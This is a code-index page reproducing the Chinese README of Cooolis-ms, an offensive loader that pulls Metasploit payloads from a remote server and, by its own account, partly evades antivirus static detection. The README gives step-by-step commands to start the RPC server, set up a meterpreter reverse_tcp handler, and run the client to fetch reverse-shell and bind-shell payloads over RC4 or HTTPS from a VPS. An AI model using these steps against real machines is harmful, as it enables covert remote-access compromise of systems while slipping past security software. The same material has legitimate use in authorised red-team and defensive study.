MCPcopy Create free account
hub / github.com/Rvn0xsy/Cooolis-ms

github.com/Rvn0xsy/Cooolis-ms @v1.2.52

Chat with this repo
repository ↗ · DeepWiki ↗ · release v1.2.52 ↗ · + Follow
606 symbols 1,252 edges 20 files 312 documented · 51% updated 6mo agorefs/heads/master · 2020-11-30★ 930

Browse by type

Functions 478 Types & classes 128
What it actually does AI analysis from the code graph — generated when you open this
loading…
README

Cooolis-ms

README

Cooolis-ms 是一个支持Metasploit Framework RPC的一个服务端,用于给Shellcode和PE加载器工作,在一定程度上绕过反病毒软件的静态查杀,同时可以让Cooolis-ms服务端与Metasploit服务器进行分离。

加载器执行流程:

  1. 连接Cooolis-Server
  2. Cooolis-Server连接Metasploit RPC服务端
  3. 取回Payload然后发送回加载器

核心技术:

该项目的优点

  • 体积小(<600KB)
  • 支持Metasploit所有Payload
  • 参数设置简单
  • 单文件
  • 架构分离

你可以参考这里,写出自己的好项目

如何安装

选择一 > Docker部署(推荐)

Bilibili:

China Bilibili

$ git clone https://github.com/Rvn0xsy/Cooolis-ms.git
$ cd Cooolis-ms/Docker
$ docker-compose up -d

默认监听端口:8899

选择二 > 源码部署

$ git clone https://github.com/Rvn0xsy/Cooolis-ms.git
$ cd Cooolis-ms
$ pip3 install -r requirements.txt
$ python3 server.py -h

如何使用

如果你使用了Docker进行部署,请直接从第三步开始。

假设这是我的VPS: 10.20.56.41

第一步 启动Metasploit RPC服务端

启动Metasploit RPC服务端:

$ msfrpcd -U msf -P msf -u /api/1.0/ -a 127.0.0.1

第二步 启动Cooolis-ms服务端

使得它连接到RPC,并且监听一个端口,用来发送载荷:

$ python3 server.py -U msf -P msf -H 127.0.0.1 -p 55553 -s -v -l 8899 -S 10.20.56.41

第三步 配置Metasploit监听器

msf5 > use exploit/multi/handler
msf5 > set payload windows/meterpreter/reverse_tcp
msf5 > set LHOST  10.20.56.41
msf5 > set LPORT 8876
msf5 > exploit -j

第四步 启动Cooolis-ms客户端

Cooolis-ms.exe -p windows/meterpreter/reverse_tcp -o LHOST=10.20.56.41,LPORT=8876,Format=dll -H 10.20.56.41 -P 8899

Q&A : 是否支持RC4加密的Payload?

  • windows/meterpreter/reverse_tcp_rc4:
Cooolis-ms.exe -p windows/meterpreter/reverse_tcp_rc4 -o LHOST=10.20.56.41,LPORT=8876,RC4PASSWORD=rc4_password,Format=dll -H 10.20.56.41 -P 8899
  • windows/meterpreter_reverse_https
Cooolis-ms.exe -p windows/meterpreter_reverse_https -o LHOST=10.20.56.41,LPORT=8876,LURI=/api/,Format=dll -H 10.20.56.41 -P 8899
  • windows/meterpreter/bind_tcp_rc4
Cooolis-ms.exe -p windows/meterpreter/bind_tcp_rc4 -o RHOST=10.20.56.11,LPORT=8876,LURI=/api/,Format=dll -H 10.20.56.41 -P 8899
  • 其他... 自由发挥

提示:

  1. -o参数后的值需要和msf的监听器配置一致。
  2. 由于本项目依赖MemoryModule这个开源项目,因此只能支持DLL格式的PAYLOAD。需要在-o参数后添加Format=dll

关于其他

如果你觉得这个项目不错,请给我一个Star~

issue

我要提交建议或问题

LICENSE

GNU General Public License v3.0

Core symbols most depended-on inside this repo

Shape

Method 396
Class 109
Function 82
Enum 19

Languages

C++98%
Python2%

Modules by API surface

Cooolis-ms-Loader/Cooolis-ms/CLI11.hpp507 symbols
Cooolis-ms-Loader/Cooolis-ms/rang.hpp25 symbols
Cooolis-ms-Loader/Cooolis-ms/Cooolis-ExternalC2.cpp13 symbols
server.py11 symbols
Cooolis-ms-Loader/Cooolis-ms/Cooolis-Http.cpp9 symbols
Cooolis-ms-Loader/Cooolis-ms/MemoryModule.cpp8 symbols
Cooolis-ms-Loader/Cooolis-ms/Cooolis-msf.cpp8 symbols
Cooolis-ms-Loader/Cooolis-ms/Cooolis-Reflective.cpp8 symbols
Cooolis-ms-Loader/Cooolis-ms/Cooolis-Shellcode.cpp5 symbols
Cooolis-ms-Loader/Cooolis-ms/Cooolis-String.cpp4 symbols
Cooolis-ms-Loader/Cooolis-ms/Cooolis-msf.h2 symbols
Cooolis-ms-Loader/Cooolis-ms/source.cpp1 symbols

For agents

$ claude mcp add Cooolis-ms \
  -- python -m otcore.mcp_server <graph>

⬇ download graph artifact

Ask about this repo answers extend the page